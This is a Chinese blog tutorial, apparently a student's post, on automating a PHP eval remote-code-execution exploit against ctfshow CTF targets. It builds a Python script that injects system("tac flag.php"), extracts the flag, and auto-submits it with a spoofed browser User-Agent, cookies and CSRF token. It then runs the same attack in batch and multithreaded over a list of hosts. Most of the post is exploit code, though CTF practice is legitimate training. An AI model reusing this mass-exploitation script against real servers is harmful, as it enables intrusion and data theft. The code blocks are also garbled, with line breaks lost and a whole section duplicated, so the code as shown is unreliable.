当前位置: 首页 > news >正文

Rce脚本自动化amp;批量

这里放上一篇我学生的投稿文章

0x00 前言

在现代网络安全领域,远程代码执行(RCE)漏洞的发现与利用成为了重要的研究课题。随着攻击手段的不断演进,安全专业人士面临着日益复杂的威胁环境。为应对这一挑战,自动化和批量处理工具的开发显得尤为重要。这不仅可以提高漏洞检测的效率,还能大幅降低人为操作带来的错误风险。

本指南旨在帮助读者理解如何通过 RCE 脚本实现自动化和批量处理。无论您是网络安全研究员、渗透测试人员还是 DevSecOps 工程师,这份指南将为您提供实用的工具和方法,帮助您快速识别和利用潜在的 RCE 漏洞。

在接下来的内容中,您将学习到:

  • RCE 漏洞的基本概念及其危害
  • 如何设计和编写有效的 RCE 脚本
  • 实现自动化与批量执行的最佳实践
  • 实际案例分析与应用场景

0x01 前期准备

首先我们需要用到这几个库

urlencode

requests

urllib3

colorama

没有这几个库的可以使用pip下载

pip install 库名

0x02 实验步骤

现在开始编写,这里我使用的是ctfshow作为演示比赛的时候进行微微的修改就行这里我用web31来作为案例进行编写

首先我们拿到我们的url,这里我会用两种方式,一种是直接赋值(适用于单个靶机,用来演示),一种是从文件里面打开获取(比赛的时候一般都是多台靶机我们可以把获取到的靶机全部放到一个文件里面进行批量)

通过审计代码发现?c=eval($_GET["b"]);&b=system("tac%20flag.php");能拿到flag,那么我们现在来编写poc

import requestsurl_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'#这里我们是我输入的payload
}
req = requests.get(url=url_main, params=param).text
print(req)

运行发现他报了这种错误

requests.exceptions.SSLError: HTTPSConnectionPool

翻译之后发现他是进行了SSL认证无法获得本地签发证书,刚好在request.get()方法里面有个传参verify,翻译过来就是检验,我们关闭他试试

添加之后再次运行发现还有报错,我们点开这个连接看看

import requestsurl_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
req = requests.get(url=url_main, params=param,verify=False).text
print(req)

原来是一个在访问没有证书网站时候的警告,我们使用官方的方法进行捕获就行

import requests
import urllib3urllib3.disable_warnings()
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
req = requests.get(url=url_main, params=param,verify=False).text
print(req)

这次运行发现什么都没有,按道理来说我们flag那个页面就已经出来了,这个时候我们使用burp抓包看看

burp抓包教程

选第一个然后添加8080

接下来配置我们的脚本

代码如下

import requests
import urllib3urllib3.disable_warnings()
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {'http': '127.0.0.1:8080','https': '127.0.0.1:8080'
} #代理
# proxies设置代理
req = requests.get(url=url_main, params=param,verify=False,proxies=proxy).text
print(req)

运行抓包把包发到Repeater这个模块

发现url编码把=和&号给编码了浏览器没识别出来

这时候我们可以使用urlencode()这个方法来设置哪些参数不用编码

代码如下

from urllib.parse import urlencodeimport requests
import urllib3urllib3.disable_warnings()
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {'http': '127.0.0.1:8080','https': '127.0.0.1:8080'
}
par = urlencode(param, safe='?&=') #这里是我设置不想编码的部分,可以修改
req = requests.get(url=url_main, params=par,verify=False,proxies=proxy).text
print(req)

抓包一看 这次我们的=和&没有被编码,flag也出来了

这里我们把抓包关掉进入终端一看,发现整个页面的内容都出来了,但是我只想要ctfshow{}这一段用来提交,这里可以使用正则表达式来进行筛选

这里ctfshow里面的内容就被提取出来了

接下来是重点了,可能有些人会问:我们提取出来之后自己手动交嘛太low了吧,那我只能说NONONO小哥哥,既然是自动化,那么就要自动到底

这里我们点开我们的f12抓到提交的接口,或者也可以通过burp抓包拿到接口数据

接口

现在来写配置

代码如下,抓包看一下,记得post这个方法也配置代理,这样我们就会接受到两个包,把第一个包放掉就行

data = requests.post(url=interface, json=dat,verify=False,proxies=proxy).text

import re
from urllib.parse import urlencodeimport requests
import urllib3urllib3.disable_warnings()
url_main = "https://2325a7ef-cb8d-45c8-b644-acf343ed8705.challenge.ctf.show/"param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {'http': '127.0.0.1:8080','https': '127.0.0.1:8080'
}
par = urlencode(param, safe='?&=')
req = requests.get(url=url_main, params=par, verify=False, proxies=proxy).text
pa = r"ctfshow\{.*?\}"
mat = re.search(pa, req)
if mat:flag = mat.group()interface = "https://ctf.show/api/v1/challenges/attempt"dat = {"challenge_id": 393, "submission": "123"}# 这里我们的数据是json格式的所以我们就把data改为jsondata = requests.post(url=interface, json=dat,verify=False,proxies=proxy).textprint(data)

抓包返回403,这里的原因我们没有配置header头,我们要把自己伪装得更像一个浏览器,我们对比两个数据包

发现我们自己编写的数据包少了很多东西,这里我们可以来配置一下这几个点,再次抓包发现多了我们配置的东西发送直接就提交成功了

代码

import re
from urllib.parse import urlencodeimport requests
import urllib3urllib3.disable_warnings()
url_main = "https://2325a7ef-cb8d-45c8-b644-acf343ed8705.challenge.ctf.show/"param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {'http': '127.0.0.1:8080','https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {"User-Agent" : ua,"Referer": "https://ctf.show/challenges", #我们配置的请求体"Csrf-Token": "你的token","Cookie": "你的cookie "
}
par = urlencode(param, safe='?&=')
req = requests.get(url=url_main, params=par, verify=False, proxies=proxy).text
pa = r"ctfshow\{.*?\}"
mat = re.search(pa, req)
if mat:flag = mat.group() #把我们正则之后的值赋值给flaginterface = "https://ctf.show/api/v1/challenges/attempt"dat = {"challenge_id": 393, "submission": flag} #这里别忘记换成你的flag# 这里我们的数据是json格式的所以我们就把data改为json#别忘了配置关闭检验,添加代理,headers是用来配置请求体的data = requests.post(url=interface, json=dat,verify=False,proxies=proxy,headers=conf).textprint(data)

接下来就是实现我们的批量

pip install colorama

下载颜色库

import re
from urllib.parse import urlencode
from colorama import Fore, Back, Style
import requests
import urllib3urllib3.disable_warnings()
param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {'http': '127.0.0.1:8080','https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {"User-Agent": ua,"Referer": "https://ctf.show/challenges","Csrf-Token": "你的token","Cookie": "你的cookie"
}
with open("1.txt", "r") as fp: #我们在自己脚本同包下创建一个1.txt里面放批量的网站lis = fp.read().split("\n") #这里通过\n来读取每个网站,不添加的话只会读取一个或者报错par = urlencode(param, safe='?&=')#我们的正则表达式规则try:for i in lis:req = requests.get(url=i, params=par, verify=False, proxies=proxy,headers=conf).textpa = r"ctfshow\{.*?\}"mat = re.search(pa, req)if mat:flag = mat.group()interface = "https://ctf.show/api/v1/challenges/attempt"dat = {"challenge_id": 393, "submission": flag}# 这里我们的数据是json格式的所以我们就把data改为json#下面这一串代码可有可无,就是加颜色的好看data = requests.post(url=interface, json=dat, verify=False, proxies=proxy, headers=conf).json()boo = {'status': 'already_solved', 'message': 'You already solved this'}if data.get('data') == boo: #这里我是抓取了提取成功返回包里面的data,转换为json格式就行,然后进行对比print(Fore.GREEN + flag) #这里为了更加好看我加了绿色和红色else:print(Fore.RED + flag)#捕获异常的代码需要哦    except requests.exceptions.MissingSchema as e:print(Fore.RED+ "1") #这里是捕获我们一个报错的信息,它显示我url没加https://#但是我加了他还是报错,但是不影响功能,我就把他捕获起来了

接下来就是实现我们的批量

pip install colorama

下载颜色库

import re
from urllib.parse import urlencode
from colorama import Fore, Back, Style
import requests
import urllib3urllib3.disable_warnings()
param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {'http': '127.0.0.1:8080','https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {"User-Agent": ua,"Referer": "https://ctf.show/challenges","Csrf-Token": "你的token","Cookie": "你的cookie"
}
with open("1.txt", "r") as fp: #我们在自己脚本同包下创建一个1.txt里面放批量的网站lis = fp.read().split("\n") #这里通过\n来读取每个网站,不添加的话只会读取一个或者报错par = urlencode(param, safe='?&=')#我们的正则表达式规则try:for i in lis:req = requests.get(url=i, params=par, verify=False, proxies=proxy,headers=conf).textpa = r"ctfshow\{.*?\}"mat = re.search(pa, req)if mat:flag = mat.group()interface = "https://ctf.show/api/v1/challenges/attempt"dat = {"challenge_id": 393, "submission": flag}# 这里我们的数据是json格式的所以我们就把data改为json#下面这一串代码可有可无,就是加颜色的好看data = requests.post(url=interface, json=dat, verify=False, proxies=proxy, headers=conf).json()boo = {'status': 'already_solved', 'message': 'You already solved this'}if data.get('data') == boo: #这里我是抓取了提取成功返回包里面的data,转换为json格式就行,然后进行对比print(Fore.GREEN + flag) #这里为了更加好看我加了绿色和红色else:print(Fore.RED + flag)#捕获异常的代码需要哦    except requests.exceptions.MissingSchema as e:print(Fore.RED+ "1") #这里是捕获我们一个报错的信息,它显示我url没加https://#但是我加了他还是报错,但是不影响功能,我就把他捕获起来了

果图

抓的这一段来对比如果一样那么就提交正确,大家到时候可以先提交一个然后看返回包

ps(其实这一段代码可有可无,就是为了加个颜色好看哈哈.....)

现在是加上多项线程之后速度得到了明显的提升,因为我们是比赛嘛,所以就别管他sleep()几秒了,要是心疼他们的话那就加个sleep(0.1)把

这里解释一下这串代码,这里用了ai帮我解释,让大家看的更全面

threading.Thread(target=process_url, args=(i,))

threading.Thread是 Python 中用于创建线程的类。

  • target=process_url指定了这个线程要执行的目标函数为process_url。当线程启动时,它将执行这个函数。
  • args=(i,)是传递给目标函数的参数。在这里,i是从lis列表中读取的一个 URL,将其作为参数传递给process_url函数,以便在该函数中使用这个 URL 进行网络请求等操作

args=(i,)中添加逗号的原因是要将参数表示为一个元组。

在 Python 中,如果只有一个元素的元组,必须在元素后面加上逗号,否则它会被解释为一个普通的值而不是元组。例如,(i)会被视为与i本身相同的值,而(i,)则明确表示是一个包含一个元素的元组。

在这个场景中,args参数期望的是一个可迭代对象(通常是元组或列表),用来传递给目标函数。如果不加逗号,当i是单个值时,传递给目标函数的参数就不正确了

import re
import time
from urllib.parse import urlencode
from colorama import Fore, Back, Style
import requests
import urllib3
import threadingurllib3.disable_warnings()param = {"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {'http': '127.0.0.1:8080','https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {"User-Agent": ua,"Referer": "https://ctf.show/challenges","Csrf-Token": "你的Token","Cookie": "你的cookie"
}def process_url(url):par = urlencode(param, safe='?&=')try:req = requests.get(url=url, params=par, verify=False, proxies=proxy, headers=conf).textpa = r"ctfshow\{.*?\}"mat = re.search(pa, req)if mat:flag = mat.group()interface = "https://ctf.show/api/v1/challenges/attempt"dat = {"challenge_id": 393, "submission": flag}data = requests.post(url=interface, json=dat, verify=False, proxies=proxy, headers=conf).json()boo = {'status': 'already_solved', 'message': 'You already solved this'}if data.get('data') == boo:print(Fore.GREEN + flag)else:print(Fore.RED + flag)except requests.exceptions.MissingSchema as e:print(Fore.RED + "1")with open("1.txt", "r") as fp:lis = fp.read().split("\n")threads = []for i in lis:t = threading.Thread(target=process_url, args=(i,)) #解释在上面threads.append(t)t.start()time.sleep(0.2) #这里是睡眠for t in threads:t.join()

相关文章:

  • TDengine 签约青山钢铁,实现冶金全流程质量管控智能化
  • vue.js 原生js app端实现图片旋转、放大、缩小、拖拽
  • 服务器的地址如何伪装起来
  • PWM基础与信号控制
  • python 图像绘制问题: 使用turtle库绘制蟒蛇
  • RAG+Agent人工智能平台:RAGflow实现GraphRA知识库问答,打造极致多模态问答与AI编排流体验
  • 【Vue.js基础】
  • Maven笔记(一):基础使用【记录】
  • pyproject.toml文件相关
  • 【第二轮通知】第二届网络、通信与智能计算国际会议(NCIC 2024)
  • 三维扫描 | 解锁低成本、高效率的工作秘籍
  • 2024.9.26 作业 +思维导图
  • 【DP解密多重背包问题】:优化策略与实现
  • 零基础入门AI:一键本地运行各种开源大语言模型 - Ollama
  • [大语言模型-论文精读] ACL2024-长尾知识在检索增强型大型语言模型中的作用
  • 【面试系列】之二:关于js原型
  • Akka系列(七):Actor持久化之Akka persistence
  • CentOS 7 修改主机名
  • ES6系列(二)变量的解构赋值
  • HTTP--网络协议分层,http历史(二)
  • iOS | NSProxy
  • Java,console输出实时的转向GUI textbox
  • JavaScript对象详解
  • javascript面向对象之创建对象
  • Just for fun——迅速写完快速排序
  • laravel5.5 视图共享数据
  • MyEclipse 8.0 GA 搭建 Struts2 + Spring2 + Hibernate3 (测试)
  • 道格拉斯-普克 抽稀算法 附javascript实现
  • 聊聊spring cloud的LoadBalancerAutoConfiguration
  • 浅谈Kotlin实战篇之自定义View图片圆角简单应用(一)
  • 日剧·日综资源集合(建议收藏)
  • 小程序测试方案初探
  • 《码出高效》学习笔记与书中错误记录
  • 【云吞铺子】性能抖动剖析(二)
  • 从如何停掉 Promise 链说起
  • 第二十章:异步和文件I/O.(二十三)
  • ​2020 年大前端技术趋势解读
  • ​LeetCode解法汇总2583. 二叉树中的第 K 大层和
  • ​LeetCode解法汇总2670. 找出不同元素数目差数组
  • ​猴子吃桃问题:每天都吃了前一天剩下的一半多一个。
  • #Linux(权限管理)
  • #进阶:轻量级ORM框架Dapper的使用教程与原理详解
  • $LayoutParams cannot be cast to android.widget.RelativeLayout$LayoutParams
  • (04)Hive的相关概念——order by 、sort by、distribute by 、cluster by
  • (1)Jupyter Notebook 下载及安装
  • (9)目标检测_SSD的原理
  • (NO.00004)iOS实现打砖块游戏(九):游戏中小球与反弹棒的碰撞
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (定时器/计数器)中断系统(详解与使用)
  • (理论篇)httpmoudle和httphandler一览
  • (免费领源码)python#django#mysql校园校园宿舍管理系统84831-计算机毕业设计项目选题推荐
  • (欧拉)openEuler系统添加网卡文件配置流程、(欧拉)openEuler系统手动配置ipv6地址流程、(欧拉)openEuler系统网络管理说明
  • (四)软件性能测试
  • (一)80c52学习之旅-起始篇
  • (一)ClickHouse 中的 `MaterializedMySQL` 数据库引擎的使用方法、设置、特性和限制。